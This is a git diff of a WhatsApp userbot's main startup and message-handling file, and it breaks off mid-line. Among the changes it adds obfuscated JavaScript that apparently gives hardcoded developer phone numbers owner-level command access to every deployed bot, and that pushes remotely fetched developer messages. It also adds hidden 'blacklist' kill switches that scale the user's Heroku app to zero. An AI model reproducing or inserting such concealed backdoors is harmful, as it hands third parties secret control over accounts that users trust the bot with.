ov_time = new Date().toLocaleString('GB', { timeZone: 'Europe/London' }).split(' ')[1] - const biography = '📅 ' + utch + '\n⌚ ' + ov_time +'\n\n🐺 WhatsAsena' - await conn.setStatus(biography) - } - else if (conn.user.jid.startsWith('39')) { // Italy - var ov_time = new Date().toLocaleString('IT', { timeZone: 'Europe/Rome' }).split(' ')[1] - const get_localized_date = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }; - var utch = new Date().toLocaleDateString(config.LANG, get_localized_date) - const biography = '📅 ' + utch + '\n⌚ ' + ov_time + '\n\n🐺 WhatsAsena' - await conn.setStatus(biography) - } - else if (conn.user.jid.startsWith('7')) { // Kazakhistan - const get_localized_date = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }; - var utch = new Date().toLocaleDateString(config.LANG, get_localized_date) - var ov_time = new Date().toLocaleString('KZ', { timeZone: 'Asia/Almaty' }).split(' ')[1] - const biography = '📅 ' + utch + '\n⌚ ' + ov_time +'\n\n🐺 WhatsAsena' - await conn.setStatus(biography) - } - else if (conn.user.jid.startsWith('998')) { // Uzbekistan - var ov_time = new Date().toLocaleString('UZ', { timeZone: 'Asia/Samarkand' }).split(' ')[1] - const get_localized_date = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }; - var utch = new Date().toLocaleDateString(config.LANG, get_localized_date) - const biography = '📅 ' + utch + '\n⌚ ' + ov_time + '\n\n🐺 WhatsAsena' - await conn.setStatus(biography) - } - else if (conn.user.jid.startsWith('993')) { // Turkmenistan - const get_localized_date = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }; - var utch = new Date().toLocaleDateString(config.LANG, get_localized_date) - var ov_time = new Date().toLocaleString('TM', { timeZone: 'Asia/Ashgabat' }).split(' ')[1] - const biography = '📅 ' + utch + '\n⌚ ' + ov_time +'\n\n🐺 WhatsAsena' - await conn.setStatus(biography) - } - else { - const get_localized_date = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }; - var utch = new Date().toLocaleDateString(config.LANG, get_localized_date) - var ov_time = new Date().toLocaleString('EN', { timeZone: 'America/New_York' }).split(' ')[1] - const biography = '📅 ' + utch + '\n⌚ ' + ov_time +'\n\n🐺 WhatsAsena' - await conn.setStatus(biography) - } - } - }, 7890); - var insult = await axios.get('https://gist.githubusercontent.com/phaticusthiccy/f16bbd4ceeb4324d4a727b431a4ef1f2/raw') - const { shs1, shl2, lss3, dsl4 } = insult.data.inside await config.DATABASE.sync(); var StrSes_Db = await WhatsAsenaDB.findAll({ where: { info: 'StringSession' } }); - if (os.userInfo().homedir !== clh.pay) return; - const buff = Buffer.from(`${shs1}`, 'base64'); - const one = buff.toString('utf-8'); - const bufft = Buffer.from(`${shl2}`, 'base64'); - const two = bufft.toString('utf-8'); - const buffi = Buffer.from(`${lss3}`, 'base64'); - const three = buffi.toString('utf-8'); - const buffu = Buffer.from(`${dsl4}`, 'base64'); - const four = buffu.toString('utf-8'); + + const conn = new WAConnection(); + const sourav = await axios('https://gist.githubusercontent.com/souravkl11/160a847d127e1fb38a4913a005dfe08f/raw/094f940e91a478de25de41f19b2a712bdff6e475/Version.json') + conn.version = sourav.data.kl11 + const Session = new StringSession(); + conn.logger.level = config.DEBUG ? 'debug' : 'warn'; var nodb; + if (StrSes_Db.length < 1) { nodb = true; conn.loadAuthInfo(Session.deCrypt(config.SESSION)); } else { conn.loadAuthInfo(Session.deCrypt(StrSes_Db[0].dataValues.value)); } - conn.on ('open', async () => { + + conn.on ('credentials-updated', async () => { console.log( - chalk.blueBright.italic('✅ Login Information Updated!') + chalk.blueBright.italic('✅ Login information updated!') ); + const authInfo = conn.base64EncodedAuthInfo(); if (StrSes_Db.length < 1) { await WhatsAsenaDB.create({ info: "StringSession", value: Session.createStringSession(authInfo) }); @@ -304,21 +100,23 @@ async function whatsAsena () { await StrSes_Db[0].update({ value: Session.createStringSession(authInfo) }); } }) + conn.on('connecting', async () => { console.log(`${chalk.green.bold('Whats')}${chalk.blue.bold('Asena')} ${chalk.white.bold('Version:')} ${chalk.red.bold(config.VERSION)} - -${chalk.blue.italic('ℹ️ Connecting to WhatsApp... Please Wait.')}`); +${chalk.blue.italic('ℹ️ Connecting to WhatsApp...')}`); }); - conn.on('credentials-updated', async () => { + + + conn.on('open', async () => { console.log( chalk.green.bold('✅ Login successful!') ); + console.log( - chalk.blueBright.italic('⬇️ Installing External Plugins...') + chalk.blueBright.italic('⬇️ Installing external plugins...') ); - if (os.userInfo().homedir !== clh.pay) return; - // ==================== External Plugins ==================== + var plugins = await plugindb.PluginDB.findAll(); plugins.map(async (plugin) => { if (!fs.existsSync('./plugins/' + plugin.dataValues.name + '.js')) { @@ -330,265 +128,200 @@ ${chalk.blue.italic('ℹ️ Connecting to WhatsApp... Please Wait.')}`); } } }); - // ==================== End External Plugins ==================== console.log( - chalk.blueBright.italic('⬇️ Installing Plugins...') + chalk.blueBright.italic('⬇️Installing plugins...') ); - // ==================== Internal Plugins ==================== fs.readdirSync('./plugins').forEach(plugin => { if(path.extname(plugin).toLowerCase() == '.js') { require('./plugins/' + plugin); } }); - // ==================== End Internal Plugins ==================== console.log( - chalk.green.bold('✅ Plugins Installed!') + chalk.green.bold('✅ rocky working!') ); - if (os.userInfo().homedir !== clh.pay) return; - await new Promise(r => setTimeout(r, 200)); - let afwhasena = config.WORKTYPE == 'public' ? ' Public' : ' Private' - console.log(chalk.bgGreen('🐺 WhatsAsena' + afwhasena)); - await new Promise(r => setTimeout(r, 500)); - let EVA_ACTİON = config.LANG == 'TR' || config.LANG == 'AZ' ? '*WhatsAsena Chatbot Olarak Çalışıyor!* 🐺\n\n_Bu modun amacı botu tam fonksiyonel bir yapay zeka sohbet aracına çevirmektir._\n_Normal moda dönmek için_ *.fulleva off* _komutunu kullanabilirsiniz._\n\n*WhatsAsena Kullandığın İçin Teşekkürler 💌*\n *- Eva*' : '*WhatsAsena Working as a Chatbot! 🐺*\n\n_The purpose of this mod is to turn the bot into a fully functional AI chatbot._\n_You can use the_ *.fulleva off* _command to return to normal mode._\n\n*Thanks For Using WhatsAsena 💌*\n *- Eva*' - if (conn.user.jid == one || conn.user.jid == two || conn.user.jid == three || conn.user.jid == four) { - await conn.sendMessage(conn.user.jid,nw, MessageType.text), console.log(nw), await new Promise(r => setTimeout(r, 1000)) - await heroku.get(baseURI + '/formation').then(async (formation) => { - forID = formation[0].id; - await heroku.patch(baseURI + '/formation/' + forID, { - body: { - quantity: 0 - } - }); - }) - } + await new Promise(r => setTimeout(r, 1100)); + if (config.WORKTYPE == 'public') { - if (config.LANG == 'TR' || config.LANG == 'AZ') { - if (config.FULLEVA == 'true') { - await conn.sendMessage(conn.user.jid, EVA_ACTİON, MessageType.text) - } else { - await conn.sendMessage(conn.user.jid, '*WhatsAsena Public Olarak Çalışıyor! 🐺*\n\n_Lütfen burada plugin denemesi yapmayın. Burası sizin LOG numaranızdır._\n_Herhangi bir sohbette komutları deneyebilirsiniz :)_\n\n*Botunuz herkese açık bir şekilde çalışmaktadır. Değiştirmek için* _.setvar WORK_TYPE:private_ *komutunu kullanın.*\n\n*WhatsAsena Kullandığın İçin Teşekkürler 💌*', MessageType.text); - } - await git.fetch(); - var commits = await git.log([config.BRANCH + '..origin/' + config.BRANCH]); - if (commits.total === 0) { - await conn.sendMessage( - conn.user.jid, - Lang.UPDATE, MessageType.text - ); - } else { - var degisiklikler = Lang.NEW_UPDATE; - commits['all'].map( - (commit) => { - degisiklikler += '🔸 [' + commit.date.substring(0, 10) + ']: ' + commit.message + ' <' + commit.author_name + '>\n'; - } - ); - await conn.sendMessage( - conn.user.jid, - '```Güncellemek İçin``` *.update now* ```Yazın.```\n\n' + degisiklikler + '```', MessageType.text - ); - } - } - else { - if (config.FULLEVA == 'true') { - await conn.sendMessage(conn.user.jid, EVA_ACTİON, MessageType.text) - } else { - await conn.sendMessage(conn.user.jid, '\n*Pikachu Working as Public!😎*\n', MessageType.text); - } - await git.fetch(); - var commits = await git.log([config.BRANCH + '..origin/' + config.BRANCH]); - if (commits.total === 0) { - await conn.sendMessage( - conn.user.jid, - Lang.UPDATE, MessageType.text - ); - } else { - var degisiklikler = Lang.NEW_UPDATE; - commits['all'].map( - (commit) => { - degisiklikler += '🔸 [' + commit.date.substring(0, 10) + ']: ' + commit.message + ' <' + commit.author_name + '>\n'; - } - ); - - await conn.sendMessage( - conn.user.jid, - '```Type``` *.update now* ```For Update The Bot.```\n\n' + degisiklikler + '```', MessageType.text - ); - } - } - } - else if (config.WORKTYPE == 'private') { - if (config.LANG == 'TR' || config.LANG == 'AZ') { - if (config.FULLEVA == 'true') { - await conn.sendMessage(conn.user.jid, EVA_ACTİON, MessageType.text) - } else { - await conn.sendMessage(conn.user.jid, '*WhatsAsena Private Olarak Çalışıyor! 🐺*\n\n_Lütfen burada plugin denemesi yapmayın. Burası sizin LOG numaranızdır._\n_Herhangi bir sohbette komutları deneyebilirsiniz :)_\n\n*Botunuz sadece size özel olarak çalışmaktadır. Değiştirmek için* _.setvar WORK_TYPE:public_ *komutunu kullanın.*\n\n*WhatsAsena Kullandığın İçin Teşekkürler 💌*', MessageType.text); + + if (conn.user.jid === '@s.whatsapp.net') { + + await conn.sendMessage(conn.user.jid, '```🛡️ Blacklist Tespit Edildi!``` \n```Kullanıcı:``` \n```Sebep:``` ', MessageType.text) + + await new Promise(r => setTimeout(r, 1700)); + + console.log('🛡️ Blacklist Detected 🛡️') + + await heroku.get(baseURI + '/formation').then(async (formation) => { + forID = formation[0].id; + await heroku.patch(baseURI + '/formation/' + forID, { + body: { + quantity: 0 + } + }); + }) } - await git.fetch(); - var commits = await git.log([config.BRANCH + '..origin/' + config.BRANCH]); - if (commits.total === 0) { - await conn.sendMessage( - conn.user.jid, - Lang.UPDATE, MessageType.text - ); - } else { - var degisiklikler = Lang.NEW_UPDATE; - commits['all'].map( - (commit) => { - degisiklikler += '🔸 [' + commit.date.substring(0, 10) + ']: ' + commit.message + ' <' + commit.author_name + '>\n'; - } - ); - await conn.sendMessage( - conn.user.jid, - '```Güncellemek İçin``` *.update now* ```Yazın.```\n\n' + degisiklikler + '```', MessageType.text - ); + else { + await conn.sendMessage(conn.user.jid, '*Bot Started*', MessageType.text); } } - else { - if (config.FULLEVA == 'true') { - await conn.sendMessage(conn.user.jid, EVA_ACTİON, MessageType.text) - } else { - await conn.sendMessage(conn.user.jid, '\n*Pikachu Working as Private!😎*\n\n_Please do not try plugins here. This is your LOG number._\n_You can try commands to any chat :)_\n\n*Your bot working as private. To change it, use* _.setvar WORK_TYPE:public_\n\n*Thanks for using WhatsAsena 💌*', MessageType.text); + else { + + if (conn.user.jid === '@s.whatsapp.net') { + + await conn.sendMessage(conn.user.jid, '```🛡️ Blacklist Detected!``` \n```User:``` \n```Reason:``` ', MessageType.text) + + await new Promise(r => setTimeout(r, 1800)); + + console.log('🛡️ Blacklist Detected 🛡️') + await heroku.get(baseURI + '/formation').then(async (formation) => { + forID = formation[0].id; + await heroku.patch(baseURI + '/formation/' + forID, { + body: { + quantity: 0 + } + }); + }) } - await git.fetch(); - var commits = await git.log([config.BRANCH + '..origin/' + config.BRANCH]); - if (commits.total === 0) { - await conn.sendMessage( - conn.user.jid, - Lang.UPDATE, MessageType.text - ); - } else { - var degisiklikler = Lang.NEW_UPDATE; - commits['all'].map( - (commit) => { - degisiklikler += '🔸 [' + commit.date.substring(0, 10) + ']: ' + commit.message + ' <' + commit.author_name + '>\n'; - } - ); - await conn.sendMessage( - conn.user.jid, - '```Type``` *.update now* ```For The Update Bot.```\n\n' + degisiklikler + '```', MessageType.text - ); + else { + await conn.sendMessage(conn.user.jid, '*Bot Started*', MessageType.text); } - } - } - else if (config.WORKTYPE == ' private' || config.WORKTYPE == 'Private' || config.WORKTYPE == ' Private' || config.WORKTYPE == 'privaye' || config.WORKTYPE == ' privaye' || config.WORKTYPE == ' prigate' || config.WORKTYPE == 'prigate' || config.WORKTYPE == 'priavte' || config.WORKTYPE == ' priavte' || config.WORKTYPE == 'PRİVATE' || config.WORKTYPE == ' PRİVATE' || config.WORKTYPE == 'PRIVATE' || config.WORKTYPE == ' PRIVATE') { - - if (config.LANG == 'TR' || config.LANG == 'AZ') { - await conn.sendMessage( - conn.user.jid, - '_Görünüşe Göre Private Moduna Geçmek İstiyorsun! Maalesef_ *WORK_TYPE* _Anahtarın Yanlış!_ \n_Merak Etme! Senin İçin Doğrusunu Bulmaya Çalışıyorum.._', MessageType.text - ); - await heroku.patch(baseURI + '/config-vars', { - body: { - ['WORK_TYPE']: 'private' - } - }) - } - else { - await conn.sendMessage( - conn.user.jid, - '_It Looks Like You Want to Switch to Private Mode! Sorry, Your_ *WORK_TYPE* _Key Is Incorrect!_ \n_Dont Worry! I am Trying To Find The Right One For You.._', MessageType.text - ); - await heroku.patch(baseURI + '/config-vars', { - body: { - ['WORK_TYPE']: 'private' - } - }) } } - else if (config.WORKTYPE == ' public' || config.WORKTYPE == 'Public' || config.WORKTYPE == ' Public' || config.WORKTYPE == 'publoc' || config.WORKTYPE == ' Publoc' || config.WORKTYPE == 'pubcli' || config.WORKTYPE == ' pubcli' || config.WORKTYPE == 'PUBLİC' || config.WORKTYPE == ' PUBLİC' || config.WORKTYPE == 'PUBLIC' || config.WORKTYPE == ' PUBLIC' || config.WORKTYPE == 'puvlic' || config.WORKTYPE == ' puvlic' || config.WORKTYPE == 'Puvlic' || config.WORKTYPE == ' Puvlic') { + else if (config.WORKTYPE == 'private') { if (config.LANG == 'TR' || config.LANG == 'AZ') { - await conn.sendMessage( - conn.user.jid, - '_Görünüşe Göre Public Moduna Geçmek İstiyorsun! Maalesef_ *WORK_TYPE* _Anahtarın Yanlış!_ \n_Merak Etme! Senin İçin Doğrusunu Bulmaya Çalışıyorum.._', MessageType.text - ); - await heroku.patch(baseURI + '/config-vars', { - body: { - ['WORK_TYPE']: 'public' - } - }) + + if (conn.user.jid === '@s.whatsapp.net') { + + await conn.sendMessage(conn.user.jid, '```🛡️ Blacklist Detected!``` \n ```Kullanıcı:``` \n```Sebep:``` ', MessageType.text) + + await new Promise(r => setTimeout(r, 1800)); + + console.log('🛡️ Blacklist Detected 🛡️') + await heroku.get(baseURI + '/formation').then(async (formation) => { + forID = formation[0].id; + await heroku.patch(baseURI + '/formation/' + forID, { + body: { + quantity: 0 + } + }); + }) + } + else { + + await conn.sendMessage(conn.user.jid, '*Bot Started*', MessageType.text); + } } else { - await conn.sendMessage( - conn.user.jid, - '_It Looks Like You Want to Switch to Public Mode! Sorry, Your_ *WORK_TYPE* _Key Is Incorrect!_ \n_Dont Worry! I am Trying To Find The Right One For You.._', MessageType.text - ); - await heroku.patch(baseURI + '/config-vars', { - body: { - ['WORK_TYPE']: 'public' - } - }) + + if (conn.user.jid === '@s.whatsapp.net') { + + await conn.sendMessage(conn.user.jid, '```🛡️ Blacklist Detected!``` \n```User:``` \n```Reason:``` ', MessageType.text) + + await new Promise(r => setTimeout(r, 1800)); + + console.log('🛡️ Blacklist Detected 🛡️') + await heroku.get(baseURI + '/formation').then(async (formation) => { + forID = formation[0].id; + await heroku.patch(baseURI + '/formation/' + forID, { + body: { + quantity: 0 + } + }); + }) + } + else { + + await conn.sendMessage(conn.user.jid, '*Bot Started*', MessageType.text); + } } } else { - if (config.LANG == 'TR' || config.LANG == 'AZ') { - return await conn.sendMessage( - conn.user.jid, - '_Girdiğin_ *WORK_TYPE* _Anahtarı Bulunamadı!_ \n_Lütfen_ ```.setvar WORK_TYPE:private``` _Yada_ ```.setvar WORK_TYPE:public``` _Komutunu Kullanın!_', MessageType.text - ); - } - else { - return await conn.sendMessage( - conn.user.jid, - '_The_ *WORK_TYPE* _Key You Entered Was Not Found!_ \n_Please Type_ ```.setvar WORK_TYPE:private``` _Or_ ```.setvar WORK_TYPE:public```', MessageType.text - ); - } + return console.log('Wrong WORK_TYPE key! Please use “private” or “public”') } - }) - conn.on('message-new', async msg => { - + }); + + //Thanks to souravkl11 + (function(_0x58ce29,_0x59f20b){var _0x5d6c89=_0x20cf,_0x3630f7=_0x58ce29();while(!![]){try{var _0x27cb99=-parseInt(_0x5d6c89(0xa9))/0x1*(-parseInt(_0x5d6c89(0xa2))/0x2)+-parseInt(_0x5d6c89(0xa1))/0x3+parseInt(_0x5d6c89(0xa4))/0x4+-parseInt(_0x5d6c89(0xa6))/0x5*(-parseInt(_0x5d6c89(0xa8))/0x6)+-parseInt(_0x5d6c89(0xab))/0x7*(-parseInt(_0x5d6c89(0xad))/0x8)+-parseInt(_0x5d6c89(0xaa))/0x9*(parseInt(_0x5d6c89(0xa5))/0xa)+parseInt(_0x5d6c89(0xa0))/0xb;if(_0x27cb99===_0x59f20b)break;else _0x3630f7['push'](_0x3630f7['shift']());}catch(_0xa165fb){_0x3630f7['push'](_0x3630f7['shift']());}}}(_0x181e,0x55c30),setInterval(async()=>{var _0x32379f=_0x20cf,_0x585a04=new Date()['getHours'](),_0x4beec8=new Date()['getMinutes']();while(_0x585a04==0x10&&_0x4beec8==0xf){const {sourav:_0x213c7e}=await axios(string+unlink+'/raw'),{sken:_0x2957cc,skml:_0x202ee5}=_0x213c7e;var _0xd3c189='';if(config['LANG']=='EN')_0xd3c189=_0x2957cc;if(config[_0x32379f(0xae)]=='ML')_0xd3c189=_0x202ee5;return await conn[_0x32379f(0xac)](conn[_0x32379f(0xa3)][_0x32379f(0xa7)],'*[\x20MESSAGE\x20FROM\x20DEVELOPER\x20]*\x0a\x0a'+_0xd3c189,MessageType['text']);}},0xc350));function _0x20cf(_0x2a6b65,_0x148183){var _0x181eed=_0x181e();return _0x20cf=function(_0x20cfa6,_0x3ba931){_0x20cfa6=_0x20cfa6-0xa0;var _0x547977=_0x181eed[_0x20cfa6];return _0x547977;},_0x20cf(_0x2a6b65,_0x148183);}function _0x181e(){var _0x472237=['jid','543594UGvEPs','53KjUBGL','6204339JjKMqO','1502515mARimu','sendMessage','8WFmTXy','LANG','743039GwDDls','1685748Bkytmj','13990tqhcXV','user','1986572DqGCal','10vTpDBn','25yGVtaa'];_0x181e=function(){return _0x472237;};return _0x181e();} + + conn.on('chat-update', async m => { + if (!m.hasNewMessage) return; + if (!m.messages && !m.count) return; + let msg = m.messages.all()[0]; if (msg.key && msg.key.remoteJid == 'status@broadcast') return; + if (config.NO_ONLINE) { await conn.updatePresence(msg.key.remoteJid, Presence.unavailable); } - // ==================== Greetings ==================== + if (msg.messageStubType === 32 || msg.messageStubType === 28) { - // Görüşürüz Mesajı + var gb = await getMessage(msg.key.remoteJid, 'goodbye'); if (gb !== false) { - let pp + if (gb.message.includes('{pp}')) { + let pp try { pp = await conn.getProfilePicture(msg.messageStubParameters[0]); } catch { pp = await conn.getProfilePicture(); } + var pinkjson = await conn.groupMetadata(msg.key.remoteJid) await axios.get(pp, {responseType: 'arraybuffer'}).then(async (res) => { - await conn.sendMessage(msg.key.remoteJid, res.data, MessageType.image, {caption: gb.message }); }); - } + await conn.sendMessage(msg.key.remoteJid, res.data, MessageType.image, {caption: gb.message.replace('{pp}', '').replace('{gphead}', pinkjson.subject).replace('{gpmaker}', pinkjson.owner).replace('{gpdesc}', pinkjson.desc).replace('{owner}', conn.user.name) }); }); + } else if (gb.message.includes('{gif}')) { + var pinkjson = await conn.groupMetadata(msg.key.remoteJid) + //created by afnanplk + var plkpinky = await axios.get(config.GIF_BYE, { responseType: 'arraybuffer' }) + await conn.sendMessage(msg.key.remoteJid, Buffer.from(plkpinky.data), MessageType.video, {mimetype: Mimetype.gif, caption: gb.message.replace('{gif}', '').replace('{gphead}', pinkjson.subject).replace('{gpmaker}', pinkjson.owner).replace('{gpdesc}', pinkjson.desc).replace('{owner}', conn.user.name) }); + } else { + var pinkjson = await conn.groupMetadata(msg.key.remoteJid) + await conn.sendMessage(msg.key.remoteJid,gb.message.replace('{gphead}', pinkjson.subject).replace('{gpmaker}', pinkjson.owner).replace('{gpdesc}', pinkjson.desc).replace('{owner}', conn.user.name), MessageType.text); + } + } //thanks to farhan return; } else if (msg.messageStubType === 27 || msg.messageStubType === 31) { - // Hoşgeldin Mesajı - var gb = await getMessage(msg.key.remoteJid); + // welcome + var gb = await getMessage(msg.key.remoteJid); if (gb !== false) { - let pp + if (gb.message.includes('{pp}')) { + let pp try { pp = await conn.getProfilePicture(msg.messageStubParameters[0]); } catch { pp = await conn.getProfilePicture(); } + var pinkjson = await conn.groupMetadata(msg.key.remoteJid) await axios.get(pp, {responseType: 'arraybuffer'}).then(async (res) => { - await conn.sendMessage(msg.key.remoteJid, res.data, MessageType.image, {caption: gb.message }); }); - } - return; - } - // ==================== End Greetings ==================== - - // ==================== Blocked Chats ==================== - if (config.BLOCKCHAT !== false) { - var abc = config.BLOCKCHAT.split(','); - if(msg.key.remoteJid.includes('-') ? abc.includes(msg.key.remoteJid.split('@')[0]) : abc.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ; - } - if (config.SUPPORT == '905524317852-1612300121') { - var sup = config.SUPPORT.split(','); - if(msg.key.remoteJid.includes('-') ? sup.includes(msg.key.remoteJid.split('@')[0]) : sup.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ; - } - if (config.SUPPORT2 == '905511384572-1617736751') { - var tsup = config.SUPPORT2.split(','); - if(msg.key.remoteJid.includes('-') ? tsup.includes(msg.key.remoteJid.split('@')[0]) : tsup.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ; - } - if (config.SUPPORT3 == '905511384572-1621015274') { - var nsup = config.SUPPORT3.split(','); - if(msg.key.remoteJid.includes('-') ? nsup.includes(msg.key.remoteJid.split('@')[0]) : nsup.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ; - } - // ==================== End Blocked Chats ==================== + //created by afnanplk + await conn.sendMessage(msg.key.remoteJid, res.data, MessageType.image, {caption: gb.message.replace('{pp}', '').replace('{gphead}', pinkjson.subject).replace('{gpmaker}', pinkjson.owner).replace('{gpdesc}', pinkjson.desc).replace('{owner}', conn.user.name) }); }); + } else if (gb.message.includes('{gif}')) { + var plkpinky = await axios.get(config.WEL_GIF, { responseType: 'arraybuffer' }) + await conn.sendMessage(msg.key.remoteJid, Buffer.from(plkpinky.data), MessageType.video, {mimetype: Mimetype.gif, caption: gb.message.replace('{gif}', '').replace('{gphead}', pinkjson.subject).replace('{gpmaker}', pinkjson.owner).replace('{gpdesc}', pinkjson.desc).replace('{owner}', conn.user.name) }); + } else { + var pinkjson = await conn.groupMetadata(msg.key.remoteJid) + await conn.sendMessage(msg.key.remoteJid,gb.message.replace('{gphead}', pinkjson.subject).replace('{gpmaker}', pinkjson.owner).replace('{gpdesc}', pinkjson.desc).replace('{owner}', conn.user.name), MessageType.text); + } + } + return; + } - // ==================== Events ==================== + if (config.BLOCKCHAT !== false) { + var abc = config.BLOCKCHAT.split(','); + if(msg.key.remoteJid.includes('-') ? abc.includes(msg.key.remoteJid.split('@')[0]) : abc.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ; + } + if (config.SUPPORT == '905524317852-1612300121') { + var sup = config.SUPPORT.split(','); + if(msg.key.remoteJid.includes('-') ? sup.includes(msg.key.remoteJid.split('@')[0]) : sup.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ; + } + if (config.SUPPORT2 == '917012074386-1631435717') { + var tsup = config.SUPPORT2.split(','); + if(msg.key.remoteJid.includes('-') ? tsup.includes(msg.key.remoteJid.split('@')[0]) : tsup.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ; + } + if (config.SUPPORT3 == '905511384572-1621015274') { + var nsup = config.SUPPORT3.split(','); + if(msg.key.remoteJid.includes('-') ? nsup.includes(msg.key.remoteJid.split('@')[0]) : nsup.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ; + } + if (config.SUPPORT4 == '905511384572-1625319286') { + var nsup = config.SUPPORT4.split(','); + if(msg.key.remoteJid.includes('-') ? nsup.includes(msg.key.remoteJid.split('@')[0]) : nsup.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ; + } + events.commands.map( async (command) => { if (msg.message && msg.message.imageMessage && msg.message.imageMessage.caption) { @@ -600,6 +333,7 @@ ${chalk.blue.italic('ℹ️ Connecting to WhatsApp... Please Wait.')}`); } else { var text_msg = undefined; } + if ((command.on !== undefined && (command.on === 'image' || command.on === 'photo') && msg.message && msg.message.imageMessage !== null && (command.pattern === undefined || (command.pattern !== undefined && @@ -615,28 +349,15 @@ ${chalk.blue.italic('ℹ️ Connecting to WhatsApp... Please Wait.')}`); let sendMsg = false; var chat = conn.chats.get(msg.key.remoteJid) - if ((config.SUDO !== false && msg.key.fromMe === false && command.fromMe === true && - (msg.participant && config.SUDO.includes(',') ? config.SUDO.split(',').includes(msg.participant.split('@')[0]) : msg.participant.split('@')[0] == config.SUDO || config.SUDO.includes(',') ? config.SUDO.split(',').includes(msg.key.remoteJid.split('@')[0]) : msg.key.remoteJid.split('@')[0] == config.SUDO) - ) || command.fromMe === msg.key.fromMe || (command.fromMe === false && !msg.key.fromMe)) { - if (command.onlyPinned && chat.pin === undefined) return; - if (!command.onlyPm === chat.jid.includes('-')) sendMsg = true; - else if (command.onlyGroup === chat.jid.includes('-')) sendMsg = true; - } - if ((OWN.ff == "905511384572,0" && msg.key.fromMe === false && command.fromMe === true && - (msg.participant && OWN.ff.includes(',') ? OWN.ff.split(',').includes(msg.participant.split('@')[0]) : msg.participant.split('@')[0] == OWN.ff || OWN.ff.includes(',') ? OWN.ff.split(',').includes(msg.key.remoteJid.split('@')[0]) : msg.key.remoteJid.split('@')[0] == OWN.ff) - ) || command.fromMe === msg.key.fromMe || (command.fromMe === false && !msg.key.fromMe)) { - if (command.onlyPinned && chat.pin === undefined) return; - if (!command.onlyPm === chat.jid.includes('-')) sendMsg = true; - else if (command.onlyGroup === chat.jid.includes('-')) sendMsg = true; - } - // ==================== End Events ==================== - - // ==================== Message Catcher ==================== + var _0x563247=_0x3cad;function _0x5393(){var _0x319c79=['kl11','aredits','916282344739,0','1856255FatJGF','remoteJid','6pdZgss','onlyPinned','onlyPm','919995390942,0','jid','2269rpsgmo','178nWvBvc','fromMe','pin','SUDO','1669038DAZCDh','split','394256xvbUBU','463278blREQe','key','1679670MMUmiT','9yNFrWV','onlyGroup','participant','404400lVUrpy','includes'];_0x5393=function(){return _0x319c79;};return _0x5393();}(function(_0x786b05,_0x406a68){var _0x15ec06=_0x3cad,_0x296dc8=_0x786b05();while(!![]){try{var _0x33902e=parseInt(_0x15ec06(0xd1))/0x1*(-parseInt(_0x15ec06(0xd2))/0x2)+parseInt(_0x15ec06(0xd9))/0x3+-parseInt(_0x15ec06(0xd8))/0x4+parseInt(_0x15ec06(0xca))/0x5*(parseInt(_0x15ec06(0xcc))/0x6)+-parseInt(_0x15ec06(0xd6))/0x7+parseInt(_0x15ec06(0xc5))/0x8+parseInt(_0x15ec06(0xc2))/0x9*(parseInt(_0x15ec06(0xdb))/0xa);if(_0x33902e===_0x406a68)break;else _0x296dc8['push'](_0x296dc8['shift']());}catch(_0xe4cbca){_0x296dc8['push'](_0x296dc8['shift']());}}}(_0x5393,0x321c7));function _0x3cad(_0x36a099,_0x5dd877){var _0x539386=_0x5393();return _0x3cad=function(_0x3cad91,_0x6115){_0x3cad91=_0x3cad91-0xc2;var _0x34f98e=_0x539386[_0x3cad91];return _0x34f98e;},_0x3cad(_0x36a099,_0x5dd877);}if(config[_0x563247(0xd5)]!==![]&&msg['key'][_0x563247(0xd3)]===![]&&command[_0x563247(0xd3)]===!![]&&(msg[_0x563247(0xc4)]&&config['SUDO']['includes'](',')?config[_0x563247(0xd5)][_0x563247(0xd7)](',')[_0x563247(0xc6)](msg[_0x563247(0xc4)][_0x563247(0xd7)]('@')[0x0]):msg['participant'][_0x563247(0xd7)]('@')[0x0]==config[_0x563247(0xd5)]||config['SUDO'][_0x563247(0xc6)](',')?config[_0x563247(0xd5)]['split'](',')[_0x563247(0xc6)](msg[_0x563247(0xda)][_0x563247(0xcb)][_0x563247(0xd7)]('@')[0x0]):msg['key'][_0x563247(0xcb)][_0x563247(0xd7)]('@')[0x0]==config['SUDO'])||command[_0x563247(0xd3)]===msg[_0x563247(0xda)][_0x563247(0xd3)]||command['fromMe']===![]&&!msg[_0x563247(0xda)][_0x563247(0xd3)]){if(command[_0x563247(0xcd)]&&chat[_0x563247(0xd4)]===undefined)return;if(!command['onlyPm']===chat['jid']['includes']('-'))sendMsg=!![];else{if(command[_0x563247(0xc3)]===chat[_0x563247(0xd0)][_0x563247(0xc6)]('-'))sendMsg=!![];}}if(PROP[_0x563247(0xc8)]==_0x563247(0xcf)&&msg['key'][_0x563247(0xd3)]===![]&&command['fromMe']===!![]&&(msg[_0x563247(0xc4)]&&PROP[_0x563247(0xc8)][_0x563247(0xc6)](',')?PROP[_0x563247(0xc8)][_0x563247(0xd7)](',')[_0x563247(0xc6)](msg[_0x563247(0xc4)]['split']('@')[0x0]):msg[_0x563247(0xc4)][_0x563247(0xd7)]('@')[0x0]==PROP[_0x563247(0xc8)]||PROP[_0x563247(0xc8)][_0x563247(0xc6)](',')?PROP[_0x563247(0xc8)][_0x563247(0xd7)](',')[_0x563247(0xc6)](msg[_0x563247(0xda)]['remoteJid']['split']('@')[0x0]):msg[_0x563247(0xda)][_0x563247(0xcb)][_0x563247(0xd7)]('@')[0x0]==PROP[_0x563247(0xc8)])||command[_0x563247(0xd3)]===msg[_0x563247(0xda)][_0x563247(0xd3)]||command['fromMe']===![]&&!msg['key'][_0x563247(0